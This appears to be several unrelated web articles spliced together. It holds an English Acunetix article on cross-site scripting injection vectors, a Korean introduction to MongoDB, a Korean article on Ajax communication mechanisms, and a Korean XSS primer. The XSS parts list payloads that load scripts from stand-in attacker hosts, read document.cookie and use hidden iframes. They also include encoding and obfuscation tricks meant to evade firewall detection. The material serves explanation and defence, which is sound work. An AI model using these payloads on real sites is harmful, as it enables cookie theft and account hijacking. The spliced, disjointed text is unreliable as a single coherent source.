So how does a hacker infect your web page in the first place? You might think, that for an attacker to make changes to your web page he must first break the security of the web server and be able to upload and modify files on that server. Unfortunately for you an XSS attack is much easier than that.

Internet applications today are not static HTML pages. They are dynamic and filled with ever changing content. Modern web pages pull data from many different sources. This data is amalgamated with your own web page and can contain simple text, or images, and can also contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts. Many times the hacker will use the ‘comments’ feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behaviour. Something as simple as a Facebook post on your wall can contain a malicious script, which if not filtered by the Facebook servers will be injected into your Wall and execute on the browser of every person who visits your Facebook profile.

By now you should be aware that any sort of data that can land on your web page from an external source has the potential of being infected with a malicious script, but in what form does the data come?

<SCRIPT>

The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms:

External script:

<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>

Embedded script:

<SCRIPT> alert(“XSS”); </SCRIPT>

<BODY>

The <BODY> tag can contain an embedded script by using the ONLOAD event, as shown below:

<BODY ONLOAD=alert("XSS")>

The BACKGROUND attribute can be similarly exploited:

<BODY BACKGROUND="javascript:alert('XSS')">

<IMG>

Some browsers will execute a script when found in the <IMG> tag as shown here:

<IMG SRC="javascript:alert('XSS');">

There are some variations of this that work in some browsers:

<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

<IFRAME>

The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.

<IFRAME SRC=”http://hacker-site.com/xss.html”>

<INPUT>

If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<LINK>

The <LINK> tag, which is often used to link to external style sheets could contain a script:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<TABLE>

The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:

<TABLE BACKGROUND="javascript:alert('XSS')">

The same applies to the <TD> tag, used to separate cells inside a table:

<TD BACKGROUND="javascript:alert('XSS')">

<DIV>

The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

The <DIV> STYLE attribute can also be manipulated in the following way:

<DIV STYLE="width: expression(alert('XSS'));">

<OBJECT>

The <OBJECT> tag can be used to pull in a script from an external site in the following way:

<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">

<EMBED>

If the hacker places a malicious script inside a flash file, it can be injected in the following way:

<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">

Our experience leads us to conclude that the cross-site scripting vulnerability is one of the most highly widespread flaw on the Internet and will occur anywhere a web application uses input from a user in the output it generates without validating it. Our own research shows that over a third of the organizations applying for our free audit service are vulnerable to Cross Site Scripting. And the trend is upward.

As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text you are looking for.

Search Results for "XSS Vulnerability"

To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the URL would look like:

http://test.searchengine.com/search.php?q=XSS%20

Vulnerability

Next we try to send the following query to the search engine:

<script type="text/javascript"> alert ('This is an XSS Vulnerability')< /script>

By submitting the query to search.php, it is encoded and the resulting URL would be something like:

http://test.searchengine.com/search.php?q=%3Cscript%3

Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2

9%3C%2Fscript%3E

Upon loading the results page, the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability.

To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web application scanner will also check for SQL injection & other web vulnerabilities.

Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities.

The purpose of this article is define Cross Site Scripting attacks and give some practical examples. Preventing XSS attacks requires diligence from the part of the programmers and the necessary security testing. You can learn more about preventing cross-site scripting attacks here.

Scanning for XSS Vulnerabilities with Acunetix Web Vulnerability Scanner Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition from http://www.acunetix.com/cross-site-scripting/scanner.htm. This version will scan any website / web application for XSS vulnerabilities and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the web-site).

MongoDB란?

최근에는 기존의 관계형 모델과는 다른 데이터베이스 관리 시스템에 대한 관심이 증가하고 있다. 이 중심에는 NoSQL이라는 개념이 있는데, 이는 데이터베이스 상호 작용에 SQL을 사용하지 않는 데이터베이스 소프트웨어를 총괄하는 용어이다. 주목할 만한 NoSQL 프로젝트 중 하나는 JSON 형태의 문서 콜렉션으로 데이터를 저장하는 오프 소스 문서 지향 데이터베이스인 MongoDB이다. MongoDB가 다른 NoSQL 데이터베이스와 다른 점은 쿼리가 매우 쉽게 변환되기 때문에 관계형 데이터베이스를 MongoDB로 쉽게 변환할 수 있는 강력한 문서 지향 쿼리 언어에 있다.

MongoDB는 C++로 작성되어 있다. MongoDB는 JSON의 2진 버전인 BSON을 사용하여, 키/값 쌍으로 데이터를 유지하는 JSON 형태의 문서에 데이터를 저장한다. MongoDB가 다른 문서 데이터베이스와 구별되는 한 가지 기능은 SQL문을 MongoDB 쿼리 함수 호출로 매우 간단하게 변환하는 기능이다. 이 기능을 이용하면 조직에서 현재 사용 중인 관계형 데이터베이스를 쉽게 마이그레이션할 수 있다. 또한, 주요 운영 체제와 프로그래밍 언어에서 사용 가능한 2진 파일과 드라이버를 사용하면 매우 간단하게 설치하여 사용할 수 있다.

MongoDB는 GNU AGPL(Affero General Public License) 버전 3.0에 따라 라이센스가 부여된 데이터베이스를 사용하는 오픈 소스 프로젝트이다. 이 라이센스는 카피레프트 제한이 소프트웨어를 사용하는 데는 적용되지 않고 배포에만 적용되는 허점을 보완한 GNU GPL의 수정 버전이다. 물론, 일반적으로 클라이언트 디바이스에 설치되지 않고 클라우드에 저장되는 소프트웨어는 이점이 중요하다. 사실상 소프트웨어가 배포되지 않기 때문에 일반 GPL을 사용하는 경우에는 라이센스 조항을 회피할 수 있다는 사실을 인식할 수 있다.

AGPL은 데이터베이스 애플리케이션 자체에만 적용되며 MongoDB의 다른 요소에는 적용되지 않는다. 개발자들이 다양한 프로그래밍 언어로 MongoDB에 연결하는 데 필요한 공식 드라이버는 Apache License Version 2.0에 따라 배포된다. MongoDB 문서는 CCL(Creative Commons license)에 따라 사용 가능하다.

문서 지향 데이터베이스

문서 지향 데이터베이스는 기존의 관계형 데이터베이스와는 매우 다르다. 문서 지향 데이터베이스는 테이블과 같은 경직된 구조에 데이터를 저장하지 않고 느슨하게 정의된 문서에 데이터를 저장한다. 관계형 데이터베이스 시스템(RDBMS) 테이블에서는 열을 새로 추가하려면 테이블 자체의 정의를 변경해야 한다. 따라서 비록 널 값을 갖게 될지라도 열이 기존의 모든 레코드에 추가된다. 이는 RDBMS의 엄격한 스키마 기반 설계로 인한 것이다. 그러나 문서를 사용하는 경우에는 기타 모든 문서를 변경하지 않고도 개별 문서에 속성을 새로 추가할 수 있다. 이는 문서 지향 데이터베이스가 일반적으로 스키마를 사용하지 않도록 설계되기 때문이다.

또 다른 기본적인 차이점은 문서 지향 데이터베이스는 문서 간의 엄격한 관계를 제공하지 않는다는 점이다. 이러한 점은 문서 지향 데이터베이스가 스키마 없는 설계를 유지하는 데 도움이 된다. 이점은 관계에 의존하여 데이터 스토리지를 표준화하는 관계형 데이터베이스와는 매우 다른 점이다. 문서 데이터베이스에서는 "관련" 데이터를 별도의 스토리지 영역에 저장하는 대신에 문서 자체에 삽입한다. 각 참조는 추가 쿼리를 필요로 하기 때문에 이렇게 하는 것이 관련 데이터가 저장된 또 다른 문서에 참조를 저장하는 것보다 더 빠르다.

이러한 기능은 데이터가 상위 문서 안에서 독립적으로 존재하는 것이 적합한 많은 애플리케이션에서 매우 잘 동작한다. 이에 해당하는 예(MongoDB 문서에도 있음)로는 블로그 포스트와 주석이 있다. 주석은 단일 포스트에만 적용되므로 주석을 블로그 포스트와 분리해서 생각하는 것은 타당하지 않다. MongoDB에서는 블로그 포스트 문서에 해당 포스트의 주석을 저장하는 comments 속성이 있다. 관계형 데이터베이스에서는 ID가 기본 키인 주석 테이블과 포스트 테이블 그리고 주석이 속하는 포스트를 정의하는 중간 맵핑 테이블 post_comments가 존재하게 된다. 이로 인해 매우 간단해야 할 것들이 불필요하게 매우 복잡해진다.

그러나 관련 데이터를 별도로 저장해야 하는 경우에는 MongoDB에서 별도의 콜렉션을 사용하여 쉽게 이러한 작업을 수행할 수 있다. 또 다른 좋은 예는 MongoDB 문서에 고객 주문 정보를 저장하는 것이다. 일반적으로 고객 주문 정보는 고객 정보, 주문 자체, 주문 품목 및 제품 정보로 구성된다. MongoDB를 사용하면 고객, 제품 및 주문 정보를 개별 콜렉션에 저장하게 되지만, 품목 데이터는 관련된 주문 문서 안에 삽입된다. 그러면, 관계형 데이터베이스에서 사용한 것과 같은 외부 키 형태의 ID를 사용하여 제품과 고객 콜렉션을 참조한다. 이러한 하이브리드 방식은 단순하기 때문에 MongoDB는 SQL로 작업하는 데 익숙한 개발자들에게 좋은 선택이 된다. 그렇긴 하지만, 다른 콜렉션에서 데이터를 참조하는 대신에 문서 내부에 데이터를 삽입하면 성능을 대폭 개선할 수 있으므로 각각의 개별 유스 케이스를 대상으로 취해야 하는 접근 방식을 신중하게 결정해야 한다.

기능 개요

MongoDB는 단지 기본적인 키/값 저장소가 아니다. MongoDB의 다른 기능 중 일부를 간략하게 살펴보도록 하자.

• 공식 2진 파일은 Windows®, Mac OS X, Linux® 및 Solaris에서 사용 가능하며 소스 배포판을 이용하여 직접 빌드할 수도 있다.
• 공식 드라이버는 C, C#, C++, Haskell, Java™, JavaScript, Perl, PHP, Python, Ruby 및 Scala에서 사용 가능하며, 다른 언어에서는 광범위한 커뮤니티 지원 드라이버를 사용할 수 있다.
• 모든 문서 속성에서 기준을 사용하여 데이터를 찾을 수 있게 하는 임시(Ad-hoc) Javascript 쿼리. 이러한 쿼리는 SQL 쿼리의 기능을 반영한 것으로 SQL 개발자는 이 쿼리를 이용하여 MongoDB 쿼리를 매우 간단하게 작성할 수 있다.
• 쿼리에서 정규 표현식 지원
• MongoDB의 쿼리 결과는 limit(), skip(), sort(), count(), distinct() 및 group()을 포함하여 필터링과 수집 및 정렬에 필요한 다양한 함수를 제공하는 커서에 저장된다.
• 고급 수집용 map/reduce 구현
• GridFS를 사용하는 대용량 파일 스토리지
• RDBMS 형태의 속성 인덱싱 지원, 여기에서는 선택된 문서 속성에서 직접 인덱스를 작성할 수 있다.
• 힌트, 설명 계획 및 프로파일링을 사용하는 쿼리 최적화 기능
• MySQL과 비슷한 마스터/슬레이브 복제
• 표준화된 데이터를 필요로 하는 참조 쿼리를 허용하는 콜렉션 기반 오브젝트 스토리지
• 자동 샤딩(Auto-sharding)을 이용한 수평적 확장
• 경쟁이 없는 고성능의 동시성을 구현하는 데 필요한 제자리 쓰기(In-place update) 기능
• 설치하지 않고도 MongoDB를 사용해 볼 수 있는 온라인 쉘
• 발행되었거나 현재 작성 중인 여러 권의 책과 상세한 문서

소개

현대적인 웹 애플리케이션은 전부 다양한 Ajax 관련 개념을 바탕으로 한다. Ajax 기술의 사용은 웹 페이지에서 대화식 또는 동적 인터페이스의 증가로 이어졌다. Ajax 혁명은 웹 애플리케이션이 백그라운드에서 비동기 방식으로 서버에서 데이터를 검색할 수 있고, 웹 페이지와 서버 간의 상호 작용이 페이지가 페치되는 순간으로 제한되지 않는다는 개념에서 비롯되었다. 웹 페이지 개념은 애플리케이션의 백엔드와 지속적으로 통신함으로써 사용자와 상호 작용하는 수명이 긴 웹 애플리케이션으로 확장되었다. 이런 지속적인 통신에서 고려하는 사항을 몇 가지 예로 들면 다음과 같다.

• 정보 송수신
• 임시 입력 유효성 검증(예: 비밀번호 보안 수준)
• 서버에서 수행되는 분석과 규칙을 바탕으로 한 사용자 입력 자동 완성

클라이언트와 서버 간의 상호 작용과 관련된 작업을 수행하려면 애플리케이션에 각각의 통신 작업에 알맞은 통신 메커니즘을 제공하는 최적의 통신 계층이 필요하다.

이 기사에서는 통신 계층을 생성할 때 고려할 문제에 대해 살펴보고 이 계층에 빌드해야 하는 다양한 메커니즘에 대해 학습한다.

위로

옛 방식대로 작업

과거에는 웹 페이지와 서버 간의 통신이 해킹으로 간주되었다. 서로 다른 HTML 요소를 사용할 의도가 없는 방식으로 이들을 사용해야만 이런 통신이 가능했다. 이런 요소들의 사용(또는 남용)을 고려한 이들 요소의 주요 특징은 서버에서 파일을 페치하는 것을 목적으로 한다는 점이다. 그래서 브라우저는 요소의 유형을 바탕으로 파일을 해석하는 역할을 한다. 이들 요소는 다음과 같다.

img

이미지 파일 페치

script

JavaScript™ 파일 페치

iframe

HTML 파일을 표시하며 페치도 가능

이들 요소의 목적은 웹 사이트의 마크업을 구성하는 것이다. 또한, JavaScript를 사용하여 DOM을 조작함으로써 동적인 방식으로 요소를 주입하고 페이지 라이프사이클의 일부로서 서버와 상호 작용할 수 있다. 다음 세 섹션에서 이들 요소의 사용 방법을 설명한다.

위로

실행 후 망각: <img> 요소의 남용

img 요소의 주 용도는 서버에서 이미지를 페치하여 표시하는 것이다. 이미지를 페치하기 위해, 브라우저에서는 이 요소의 src 속성 값인 URL을 이용해 GET 요청을 만든다. 이 값은 브라우저의 "동일 출처 정책(same origin policy)"에 따른 제한을 받지 않으므로, 이미지의 URL은 그 이미지를 표시하는 페이지의 도메인으로 제한되지 않는다.

할 수 있는 일과 할 수 없는 일

img 요소를 사용하여 어떤 URL에서든 GET 호출을 수행하는 것은 가능하다. 그런 다음, 논리적으로는 다른 서버 상의 서비스를 호출할 수 있다.

하지만, 브라우저에서는 그 GET 호출에 대한 응답이 이미지 파일이며 (화면에 해당 이미지 파일을 표시함으로써) 이 응답에서 그렇게 처리하는 것으로 가정한다. 응답이 사실은 이미지 파일이 아닌 경우에는, (img 요소가 페이지에 추가되었는지 여부와는 상관없이) src 속성이 설정될 때 GET 요청이 만들어지기 때문에 단순히 img 요소를 DOM 트리에 추가하지 않으면 된다.

서버에서 리턴하는 응답이 클라이언트에게는 관심의 대상이 아닌 "실행 후 망각(fire-and-forget)"하는 서비스 유형에 주로 이 img 요소를 사용할 수 있다. 이 요소는 "서버에서 일어나는 일은 서버 내에서만 머문다"는 규칙을 따르는 서비스에 적합하다.

Listing 1은 실행 후 망각하는 호출을 수행하는 방법을 나타낸 것이다.

                
<script type=”text/javascript”>
function fireAndForgetService(targetUrl){
  // first we create an img object
  var imgNode = document.createElement(“img”);
  // then we set its src attribute to the url of the service we’d like to invoke
  // when the next code line is executed the browser creates a GET request
  // and sends it to targetURL
  imgNode.src = targetUrl;
  
}
// calling the function with any url – cross site scripting is possible here
  fireAndForgetService(“http://www.theTargetUrl.com/doSomething?param1Name:param1Value”);
</script>
            

위로

페치 및 실행: <script> 요소 사용

script 요소를 대신 사용하는 경우 img 요소에 대해 앞서 언급한 거의 모든 것이 동일하게 작동한다. 이 통신 메커니즘 역시 브라우저의 "동일 출처 정책(same origin policy)"에 따른 제한을 받지 않는다.

그러나 <img> 및 <script> 요소의 한 가지 다른 점은 script 요소를 사용할 때 브라우저에서 실행 가능한 JavaScript 코드를 받을 것으로 예상한다는 점이다. 이것은 가볍게 사용해서는 안 되는 매우 강력한 메커니즘이다. 페치된 스크립트가 호출되면 쿠키, DOM, 히스토리 등을 포함하여 페이지에서 액세스할 수 있는 모든 것에 호출된 스크립트가 액세스할 수 있다.

할 수 있는 일과 할 수 없는 일

브라우저에서 실행되는 코드와 페치된 스크립트 사이에서 프로토콜을 정의해야 한다. 자신의 도메인에서 스크립트를 페치하는 경우에는 이 코드가 다양한 함수, 유틸리티 및 애플리케이션 코드의 제한조건에 익숙할 것이다. 이 프로토콜은 기본적으로 동일한 애플리케이션의 두 컴포넌트 간에 이루어지는 상호 작용일 수 있다. 서버는 브라우저에서 실행해야 하고 국제화 제한 사항이나 다른 사용자별 적응을 처리하는 것과 같이 브라우저에서 다양한 조작을 할 수도 있는 코드의 일부를 요청의 일부로서 수신할 수 있다.

다른 서버에서 코드를 페치해야 할 때 더욱 흥미로워진다. 이 경우와 해당 도메인을 신뢰할 만한 경우, 페치된 스크립트는 애플리케이션 생성에 어울리지 않으므로 정적 데이터만 페치할 수 있다. 애플리케이션에서 이 데이터를 처리하려면 어떻게 해서든지 페치된 내용을 애플리케이션의 코드와 통합해야 한다. 페치된 코드가 JSON 오브젝트를 허용하는 함수 호출로 랩핑되거나 채워진 JSON 오브젝트임을 기본적으로 제시하는 JSONP 개념을 사용할 수 있다. (이런 호출을 콜백이라고 한다.) 그 함수의 이름은 페치된 스크립트의 URL 중 일부인 URL 매개변수로 전송되고, 이는 그 함수의 이름으로 랩핑된 JSON 오브젝트를 제공하는 것은 받는 사람의 도메인에 달렸다.

Listing 2는 JSONP를 바탕으로 클라이언트와 서버 간의 통신을 수행하는 방법을 나타낸 것이다.

<script type=”text/javascript”>
// the next function receives the following arguments:
// targetUrl – the url from which data is fetched and handled later as 
//             jsonp
// jsonpName – the name of the url parameter that the target url accepts and
//             knows to read from the callback name 
// callbackName – the name of the function that will handle the returned
//             json object
function invokeJSONP(targetUrl, jsonpName ,callbackName){
  // first we create a script object
  var scriptNode = document.createElement(“script”);
  // set its type so upon return it would be executed
  scriptNode.type = “text/javascript”;
  // set its src attribute to the url of the fetched script
  // and add to the url the callback name 
  scriptNode.src = targetUrl+”?”+ targetDomainJsonpName+”=”+callbackName;
  // adding the script to the page to get it up and running
  document.getElementsByTagName(“head”)[0].appendChild(scriptNode);
  
}
// calling the function with any url – cross site scripting is possible here

function handleJsonp(infoObject){
  validateInfoObject(infoObject);
  handleInfoObject(infoObject);
}

  invokeJSONP (“http://targetUrl.com/provideJsonpData”,“jsonpCallback”, “handleJsonp”);
</script>  

한 가지 작은 차이점을 언급할 필요가 있겠다. <img> 요소를 사용할 때는 DOM 트리에 이 요소를 추가할 필요가 없다. 이와는 반대로, 스크립트 페치를 실행할 때는 <script> 요소를 DOM 트리에 추가하지 않으면 GET 요청이 생성되지 않는다.

JSONP 호출을 위한 API, 특히 콜백 이름을 제공해야 하는 애플리케이션에 있는 매개변수 이름을 게시하는 것은 대상 도메인에 달렸다. API의 다른 부분에는 응답 본문으로 전송되는 JSON 오브젝트의 구조가 포함되어야 한다.

Listing 2에서 대상 도메인은 jsonpCallback(다른 도메인에서는 이름이 바뀔 수 있음)이라는 URL 매개변수를 받아들이는데, 이때 도메인에서 handleJsonp에 대한 호출인 스크립트를 리턴할 것으로 예상한다. 이 스크립트는 Listing 3과 같은 내용일 것이다.

handleJsonp( {
  ‘height’:185,
  ‘units’:’cm’,
  ‘age’: 30,
  ‘favoriteFruit’:’apple’,
  ‘likesDogs’: true
  }
  );

위로

미들맨에게 도움 요청: <iframe> 요소 사용

iframe은 페이지 내에 페이지를 임베드할 수 있게 해주는 요소이다. 두 개의 페이지가 같은 도메인에 있었던 경우 이 두 페이지는 서로 통신하며 정보를 전송할 수 있다.

Ajax 애플리케이션에서는 이런 패러다임을 바탕으로 기본 페이지에 있는 iframe 요소를 사용하여 사용자 상호 작용과 클라이언트 및 서버 간 통신의 역할을 분리하는 것이 일반적이다. 이 요소는 사용자가 볼 수 없게 숨겨지므로, 애플리케이션의 사용자 상호 작용 활동을 전혀 방해하지 않는다.

이런 공동 작업을 통해 서버에서 어떤 종류의 내용이라도 가져올 수 있고 페이지를 새로 고치지 않고 양식을 제출할 수 있으며—모든 것은 사용자가 알지 못하게 자동으로 이루어진다.

할 수 있는 일과 할 수 없는 일

모든 요소가 페이지를 구성하는 이전의 메커니즘과는 달리, iframe 요소는 그 자체로 하나의 페이지이다. 이 요소는 특정한 종류의 내용(예: 이미지)이나 프로세스(수신한 내용의 실행)에 제한되지 않는다. 따라서 어떤 서버에서 어떤 종류의 데이터라도 검색하거나 서버로 데이터를 전송할 수 있다. 그리고 어떤 내용이라도 수신 가능하기 때문에 가능한 모든 형식을 가진 데이터를 바탕으로 상호 작용을 수행할 수 있어, 서버 측에서의 유연성이 향상된다. 양식 제출을 바탕으로 서버로 데이터를 보낼 수 있다. 또한, GET 외에도 POST 요청을 사용할 수 있다. 여러 파트로 구성된 요청이 가능하므로, 클라이언트 시스템의 파일을 서버로 업로드할 수 있다. (페이지를 새로 고치면 항상 사용자와의 나머지 상호 작용이 중단된다는 점에 주의한다.)

iframe을 사용하는 것이 완전 무결한 방법은 아니다. 사이트 상호 간의 호출이 유효하기 때문에, 애플리케이션의 보안이 취약해질 수 있다. 그 밖에도, 이 메커니즘을 바탕으로 한 모든 상호 작용이 페이지의 히스토리 오브젝트로 푸시되므로, 뒤로/앞으로 동작으로 탐색하는 사용자에게 혼란을 줄 수 있다.

iframe 사용

iframe 요소를 사용하여 프로그램을 통한 방법으로 서버에서 내용을 페치하는 것은 script 요소를 사용하는 것과 비슷하지만,—한 가지 중요한 차이점이 있다. script 요소를 만들어 페이지에 연결한 후, 사용자가 화면에 이 요소가 표시됨으로써 혼동하지 않도록 이 요소를 숨겨야 한다는 점이다.

iframe 요소를 양식 제출의 대상으로 사용할 수 있으므로, 양식 제출로 인한 페이지 새로 고침을 예방할 수 있다.

Listing 4는 프로그램 방식으로 클라이언트와 서버 간 통신을 수행하는 대신 iframe 요소를 애플리케이션 마크업의 일부로 사용하여 파일을 업로드하는 방법을 나타낸 것이다.

<!—a hidden iframe that is the target of the form that would be used to upload a file -->
	 
<iframe id="IFrame" name="IFrame"
	  style="width:0px; height:0px; border:0px"
	  src="blank.html">
</iframe>

<!—the form is connected to the previous iframe by the target attribute, thus basically 
reloading that hidden frame upon form submission -->

<form name="UploadFile"  target="IFrame" method="POST"
    action="http://myServer/fileUploadServiceURL"
    enctype="multipart/form-data">
<input type="file" name="uploadFileNameId"/>
<input type="submit" value="Upload" name="submit"/>
</form>

위로

Ajax 방식으로 작업하는 방법

Ajax 기반 웹 애플리케이션은 보통 서버에서 작동하는 애플리케이션에 대한 클라이언트 역할을 하므로, 그 서버로 데이터를 앞뒤로 보내며 통신 기능을 집중적으로 사용하는 애플리케이션이 되는 결과를 낳는다. 데이터 전송 기능을 제공할 메커니즘이 필요하다. 애플리케이션의 주요 컴포넌트로서, 이런 메커니즘은 최대한 가볍고 안전해야 한다. 다행히도, 모든 현대적 브라우저에는 정확히 이런 목적으로 사용할 수 있는 오브젝트, 즉 XHR(XMLHttpRequest)이 갖춰져 있다. 실제로 가벼운 XHR은 페이지를 검색한 서버로 한정되는 요청을 생성한다. XHR은 사이트 간 스크립팅 문제를 제거하며, 텍스트만 전달할 수 있다.

할 수 있는 일과 할 수 없는 일

애플리케이션은 XHR 오브젝트를 사용하여 서버로 정보를 보내고 서버에서 데이터를 페치할 수 있다. 이 메커니즘은 앞서 설명한 메커니즘에 비해 여러 가지 장점이 있다.

어떤 유형의 HTTP 메소드라도 사용 가능

현재 도입된 대부분의 일반적인 서버 아키텍처는 REST 원리를 기반으로 하기 때문에, GET, PUT, POST 및 DELETE 요청을 사용해야 한다. 클라이언트와 서버 간 통신의 핵심이라 할 수 있는 XHR 오브젝트의 사용으로 RESTful 서버 아키텍처를 사용할 수 있다.

완료 시 알림

XHR 오브젝트는 생성에서부터 응답이 완전히 로드되기까지 여러 가지 상태에서 존재할 수 있다. 각각의 상태 변화 시, 이벤트가 실행되고 앞으로의 상태 변화 시 호출할 콜백을 정의할 수 있다.

이 이벤트 핸들러를 통해 서버에서 페치된 데이터에 의존하는 코드가 해당 데이터를 사용할 수 있을 때 실행되도록 할 수 있다.

페이지 히스토리에 개입 없음

XHR 호출은 페이지의 히스토리 오브젝트에 반영되지 않으므로, 브라우저의 뒤로 및 앞으로 동작의 일반적인 용도에서 벗어나지 않는다.

크로스 사이트 스크립팅(XSS)이 허용되지 않음

이 애플리케이션은 XSS를 수행할 능력이 결여되어 있기 때문에 더 안전하다.

블로킹하거나 못하거나

요청-응답 주기가 다음 중 어떤 것이 될지 정의할 수 있다.

• 동기(브라우저가 응답을 기다리는 동안 아무런 코드도 실행되지 않음)
• 비동기(응답이 도착했을 때 콜백을 실행할 수 있음)

XML 또는 다른 모든 형식

응답이 XML 형식으로 되어 있는 경우, 그 응답 데이터에 대해 완전한 DOM 트리가 만들어진다. 응답의 원시 텍스트 내용도 사용 가능하고, 응답이 JSON과 같은 다른 형식으로 도착할 때 이를 처리할 수 있다.

그래도 XHR 오브젝트와 관련된 모든 것이 좋은 면만 있는 것은 아니다. 텍스트만 보낼 수 있기 때문에, 여전히 iframe을 사용하여 파일을 서버에 업로드해야 한다. 그 밖에도, 다른 브라우저에서는 이 오브젝트의 작성이 다른 방법으로 이루어진다.

위로

요약

클라이언트와 서버의 상호 작용은 모든 현대적 웹 애플리케이션의 중추이다. 이 기사에서는 애플리케이션 상호 작용을 위해 사용할 수 있는 공통의 메커니즘에 대해 학습했다. 이 기사에서 설명한 모든 메커니즘이 모든 애플리케이션에서 필요한 것은 아니다. 어떤 메커니즘이 필요하고 어떻게 사용할지 결정하는 것은 개발자의 몫이다.

수많은 JavaScript 프레임워크에 Ajax 통신 메커니즘 세트가 부분적이거나 완전하게 구현되어 있다. 어떤 프레임워크를 사용하고 어떤 메커니즘을 구현할지 결정할 때 이 점을 고려한다.

크로스 사이트 스크립팅은 매우 위험한 보안 노출로서 안전한 웹 기반 애플리케이션을 설계할 때 반드시 고려해야 한다. 이 글에서 노출의 본질과, 이것이 어떻게 영향을 미치는지를 설명하고 솔루션 전략을 소개한다.

오늘날 대부분의 웹 사이트는 동적 컨텐트를 웹 페이지에 추가하여 사용자에게 더 많은 즐거움을 선사한다. 동적 컨텐트는 몇몇 서버 프로세스에서 만들어진 컨텐트로서, 설정과 필요에 따라 다르게 작동하고 디스플레이 된다. 동적 웹 사이트는 정적 웹 사이트에는 없는 위험성도 지니고 있다. 이를 "크로스 사이트 스크립팅(cross-site scripting) "이라고 한다. 일명 "XSS"라고도 알려져 있다.

"웹 페이지는 텍스트와 HTML 마크업으로 구성된다. 이들은 서버에 의해 만들어지고 클라이언트 브라우저에 의해 인터프리팅 된다. 정적 페이지만을 만들어 내는 웹 사이트는 브라우저 사용자가 이러한 페이지들을 인터프리팅하는 방식을 완전히 제어할 수 있다. 동적 페이지를 만들어 내는 웹 사이트는 클라이언트가 아웃풋을 인터프리팅 하는 방식을 완전히 제어하지는 못한다. 신뢰할 수 없는 컨텐트가 동적 웹 페이지에 들어갈 수 있다는 것이 문제의 본질이다. 웹 사이트나 클라이언트도 이러한 현상을 인식하여 방어할 수 있는 충분한 정보가 없다." 인터넷 보안 취약성을 연구하는 CERT Coordination Center의 설명이다.

크로스 사이트 스크립팅은 공격자들에게는 이미 유명해졌다. 매월 크로스 사이트 스크립팅 공격이 상용 사이트에서 발생하고 그러한 위험성을 설명하는 경고문이 발표된다. 주의하지 않는다면 여러분의 웹 사이트나 회사도 이러한 공격의 희생양이 될 것이다.
XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 예를 들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.

글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.

웹 사이트상의 애플리케이션이 크로스 사이트 스크립팅에 취약하다고 알려지면 공격자는 공격을 구상하게 된다. 공격자가 가장 빈번하게 사용하는 기술은 공격 목표의 시스템에 공격 목표의 권한을 사용하여 실행할 수 있도록 JavaScript, VBScript, ActiveX, HTML, Flash를 투입하는 것이다. 공격이 활성화 되면 계정 하이재킹, 사용자 설정 변경, 쿠키 훔치기 및 오염, 오류 광고 등이 가능하다.


1. XSS Test

일반적인 게시판에 <script>alert("XSS")</script>라고 입력하여 XSS라는 메시지 창이 뜨면 XSS취약점이 있는 것이다.

예제1) 사용자의 쿠키값을 획득
<script>alert(document.cookie);</script>

예제2) 클릭 시 악성코드가 있는 사이트로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>

2. iframe 태그

예제1) 숨겨진 iframe를 이용해 악성코드 사이트로 이동
<iframe src=" http://attack.com" width="0" height="0" frameborder="0"></iframe>

3. object 태그

예제1) 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동하도록 함.
<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>

4. div 기법

예제1) div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test.jpg">
</div>

5. 인코딩 기법

예제1) 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.

원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>

6. Obfuscated 기법

예제1) 인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javascript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';

for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}

document.write(str);
</script>

